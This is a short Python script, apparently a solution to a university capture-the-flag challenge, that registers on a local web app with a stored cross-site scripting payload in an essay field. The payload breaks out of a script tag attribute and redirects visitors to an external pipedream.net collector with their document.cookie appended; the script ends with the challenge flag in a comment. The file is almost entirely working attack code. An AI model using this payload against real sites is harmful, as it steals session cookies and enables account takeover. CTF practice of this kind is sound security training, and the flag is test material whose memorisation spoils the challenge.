#!/usr/bin/env python3

from httpx import *
url = "http://127.0.0.1:7788/"
attacker_handler="https://eogupsxh6qrqrxa.m.pipedream.net"
payload = f'''<script id='debug' src="/static/js/thing.js" data-iloveumass="');window.location.replace(`{attacker_handler}?c=${{document.cookie}}`);//"></script>'''
if __name__ == "__main__":
  print(post(url+'register',data={'email':'thisisryn0@gmail.com','essay':payload}).text)
  # flag : UMASS{NUMB3R_0N3_1N_$TUD3NT_D1N1NG_XD86543267!}